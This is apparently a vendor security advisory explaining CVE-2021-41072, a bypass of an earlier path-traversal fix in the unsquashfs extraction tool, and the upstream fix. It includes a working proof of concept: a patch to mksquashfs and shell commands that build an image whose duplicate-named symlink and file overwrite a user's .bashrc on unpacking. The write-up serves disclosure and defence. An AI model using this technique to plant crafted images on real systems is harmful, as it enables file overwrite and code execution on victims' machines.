Squashfs is a compressed read-only filesystem for Linux that is commonly used on embedded systems, rescue systems or similar cases. The squashfs-tools package provides a set of userspace tools to create, modify and unpack squashfs image files. Prominent among security researchers is the unsquashfs tool which extracts a squashfs image to specified path.
In 2021 commit 79b5a555058e (“Unsquashfs: fix write outside destination directory exploit”) introduced a fix for unsquashfs that intends to fix vulnerability CVE-2021-40153: A specially crafted filesystem could trick the unsquashfs tool to overwrite arbitrary files.
This fix however, missed an important part, which allows practically the same exploit in another way. This vulnerability is identified as CVE-2021-41072.
Vulnerabilities of this sort are especially problematic since unsquashfs is widely used among security researchers to analyze the firmware of embedded systems. A carefully crafted squashfs will work perfectly fine when mounting in Linux but can overwrite files when unpacking and thus compromise the system of the security researcher.
Let’s take a closer look at how CVE-2021-40153
was fixed and how we can bypass this fix for CVE-2021-41072
:
Squashfs stores the filename in the directory entry, which unsquashfs uses
to create the new file while unpacking. However, unsquashfs did not validate the filename for
directory traversal outside the destination before commit 79b5a555058e.
A specially crafted squashfs image could thus write to locations outside the target directory, such as
/etc/crontab
when unpacked with unsquashfs. This in turn could
lead to code execution.
The fix for CVE-2021-40153
validates that no file in a squashfs image may contain slashes nor a
dot-dot sequence (..
) which makes it impossible to have filenames that point outside
the target directory.
But there is another way to break outside the target directory while unsquashing: Using good old symlinks!
First, we notice that unsquashfs has no check whether a directory already contains multiple directory entries with the same name. We can thus craft a valid filesystem with multiple identically named files in the same directory. During unpacking, unsquashfs will just overwrite the contents of the existing file.
When we combine this so that we first create a symlink which points outside the target directory, we can then overwrite this target file’s contents with the identically named regular file in the squashfs image. This works, because unsquashfs will just follow the symlink it created.
So, let’s create a new squashfs filesystem that contains a symlink with the
name a-symlink.txt
that points to the user’s .bashrc
. In the next step, we will patch
mksquashfs such that it will create a crafted filesystem where a-symlink.txt
is both, a symlink
and a regular file:
diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
index 127df00fb789..d9ea11a5e175 100644
--- a/squashfs-tools/mksquashfs.c
+++ b/squashfs-tools/mksquashfs.c
@@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
struct squashfs_dir_entry idir;
unsigned int start_block = inode >> 16;
unsigned int offset = inode & 0xffff;
- unsigned int size = strlen(name);
+ unsigned int size;
size_t name_off = offsetof(struct squashfs_dir_entry, name);
+ if (strcmp(name, "z-payload.txt") == 0)
+ name = "a-symlink.txt";
+
+ size = strlen(name);
if(size > SQUASHFS_NAME_LEN) {
size = SQUASHFS_NAME_LEN;
ERROR("Filename is greater than %d characters, truncating! ..."
Create a filesystem that will include z-payload.txt
(which can be a hostile script) as a-symlink.txt
:
$ ln -s ../.bashrc a-symlink.txt
$ echo "echo Whooops!" > z-payload.txt
$ mksquashfs.patched . ../image.sfs
Now we have a filesystem with two identical file names in the same directory.
One a-symlink.txt
is a symlink that points to ../.bashrc
, the other one is a regular
file which contains the text echo Whooops!
.
Squashfs directory entries have an order and are usually sorted.
This is why our evil a-symlink.txt
has z-payload.txt
as original name, that way
we ensure that unsquashfs first creates the symlink and later writes the
regular file.
To make the exploit more flexible, the crafted image can even contain a whole
series of ../.bashrc
target paths with different path depths. This way, the
path is determined automatically. In this example we will add only one symlink
to keep it simple.
When Linux mounts the crafted filesystem, it reports no error. It just
lists the a-symlink.txt
symlink twice:
$ mount -o loop ../image.sfs /mnt/
$ ls -l /mnt/
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -> ../.bashrc
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -> ../.bashrc
But when unsquashing, it overwrites the bashrc
in the user’s home directory
(given unsquashfs
is executed one directory layer below $HOME in this example):
$ pwd
/home/user/directory
$ unsquashfs -d destination/ ../image.sfs
On next login, our message will appear when the shell follows the symlink written
over the user’s bashrc
(and thus parses our z-payload.txt
contents):
Whooops!
$
Exploit successful!
Commit
e0485802ec72 (“Unsquashfs: additional write outside destination directory exploit fix”) fixes CVE-2021-41072
.
It does so by explicitly checking for duplicate filenames within a directory by using sorted directories in v2.1, v3.x and v4.0 filesystems and checking for consecutively identical filenames. Additionally, it ensures sorted directories for v1.x and v2.0 filesystems (no native sorting available), by manually sorting first.
Publish date
10.01.2022
Category
security
Authors
Aaron Marcher
Richard Weinberger
+43 5 9980 400 00 (email preferred)
sigma star gmbh
Eduard-Bodem-Gasse 6, 1st floor
6020 Innsbruck | Austria